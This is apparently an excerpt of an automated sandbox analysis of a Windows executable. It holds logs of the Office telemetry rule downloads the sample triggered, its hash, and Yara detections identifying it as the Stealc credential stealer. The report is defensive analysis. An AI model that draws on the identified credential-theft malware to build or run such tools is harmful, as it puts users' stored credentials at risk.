Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:38 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:38 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a453eede-301e-0033-02d5-26fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033438Z-17c5cb586f6wmhkn5q6fu8c5ss00000006x00000000068yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:38 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	51006	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:38 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:38 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:38 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a91e6534-e01e-0020-5f90-27de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033438Z-r197bdfb6b4mcssrk8cfa4gm1g000000018g000000002026 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:38 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	51008	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:39 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:39 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033439Z-15b8d89586fnsf5zkvx8tfb0zc00000002pg0000000048m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:39 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	51011	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:39 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:39 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033439Z-16849878b78fssff8btnns3b1400000007p000000000qa2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	51009	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:39 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:39 UTC	564	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: fad7475d-801e-002a-7d7c-2a31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033439Z-15b8d89586fbmg6qpd9yf8zhm000000002f0000000003k49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 03:34:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	51010	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:39 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:39 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 3b873659-401e-0067-0d93-2909c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033439Z-r197bdfb6b4bs5qf58wn14wgm000000006hg00000000advu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:39 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	51012	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:39 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033439Z-15b8d89586fvpb59307bn2rcac00000002hg00000000avy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:39 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	51016	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:40 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:40 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:40 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: c9775f7b-401e-0016-2424-2a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033440Z-r197bdfb6b46kdskt78qagqq1c00000007p000000000ekqa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:40 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	51017	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:40 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:40 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033440Z-r197bdfb6b4hsj5bywyqk9r2xw00000008z000000000726n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:40 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	51019	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:40 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:40 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033440Z-15b8d89586f8l5961kfst8fpb00000000k4000000000ep05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:40 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	51018	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a86168e1-701e-0097-7f6b-27b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033440Z-r197bdfb6b466qclztvgs64z10000000094g00000000cs6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	23:34:07
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x570000
File size:	2'153'984 bytes
MD5 hash:	B0F2E98C3FEA556C75A29C5325160F58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2634590960.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2184656532.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2636219235.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
